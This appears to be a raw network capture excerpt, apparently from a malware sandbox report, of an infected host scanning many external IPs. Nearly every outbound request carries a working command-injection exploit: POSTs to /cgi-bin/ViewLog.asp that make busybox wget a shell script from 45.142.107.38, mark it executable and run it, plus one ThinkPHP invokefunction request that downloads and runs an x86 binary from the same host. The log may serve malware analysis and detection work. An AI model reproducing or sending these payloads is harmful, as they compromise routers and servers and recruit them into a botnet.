Mar 4, 2024 15:08:43.126842022 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:55.158875942 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
677	192.168.2.13	48602	94.199.165.72	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:33.990104914 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
678	192.168.2.13	45642	94.121.31.247	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:33.998961926 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
679	192.168.2.13	44800	94.123.187.203	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:34.009471893 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
680	192.168.2.13	51924	95.183.103.91	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:34.149960041 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:34.354574919 CET	324	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 Date: Mon, 04 Mar 2024 14:08:34 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
681	192.168.2.13	48738	88.116.238.10	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:35.559662104 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:35.751694918 CET	1005	IN	HTTP/1.0 404 Not Found Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 X-Content-Type-Options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 73 70 61 6e 2e 75 72 6c 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 20 7d 70 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 73 70 61 6e 2e 73 65 72 76 65 72 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 72 6c 22 3e 26 23 78 32 46 3b 69 6e 64 65 78 2e 70 68 70 3f 73 3d 26 23 78 32 46 3b 69 6e 64 65 78 26 23 78 32 46 3b 09 68 69 6e 6b 07 70 70 26 23 78 32 46 3b 69 6e 76 6f 6b 65 66 75 6e 63 74 69 6f 6e 26 61 6d 70 3b 66 75 6e 63 74 69 6f 6e 3d 63 61 6c 6c 5f 75 73 65 72 5f 66 75 6e 63 5f 61 72 72 61 79 26 61 6d 70 3b 76 61 72 73 5b 30 5d 3d 73 68 65 6c 6c 5f 65 78 65 63 26 61 6d 70 3b 76 61 72 73 5b 31 5d 5b 5d 3d 26 23 78 32 37 3b 77 67 65 74 3c 2f 73 70 61 6e 3e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 3c 70 3e 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 3c 70 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 65 72 76 65 72 22 3e 53 6f 6e 69 63 57 61 6c 6c 20 53 65 72 76 65 72 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>File not found!</title><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; }span.url { text-decoration: underline; }p {margin-left: 3em;}span.server {font-size: smaller;}/...*/--></style></head><body><h1>File not found!</h1><p>The requested URL <span class="url">/index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget</span> was not found on this server.</p><p>If you entered the URL manually please check your spelling and try again.</p><h2>Error 404</h2><p><span class="server">SonicWall Server</span></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
682	192.168.2.13	40752	94.242.229.101	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:36.495137930 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
683	192.168.2.13	35194	31.136.4.212	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:36.585902929 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:39.798913956 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:45.942981005 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:57.974873066 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
684	192.168.2.13	41732	94.120.33.169	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:36.620318890 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:40.822978020 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:46.966851950 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:58.998828888 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
685	192.168.2.13	46162	94.122.104.88	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:36.621932030 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:37.814845085 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:39.190895081 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:42.102830887 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:47.734807014 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:58.743573904 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
686	192.168.2.13	34016	31.200.88.175	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:36.625415087 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:40.822932005 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:46.966931105 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:58.998835087 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
687	192.168.2.13	43660	85.118.73.206	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:36.650695086 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:36.892524004 CET	313	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
688	192.168.2.13	36904	95.111.225.44	8080

Timestamp	Bytes transferred	Direction	Data
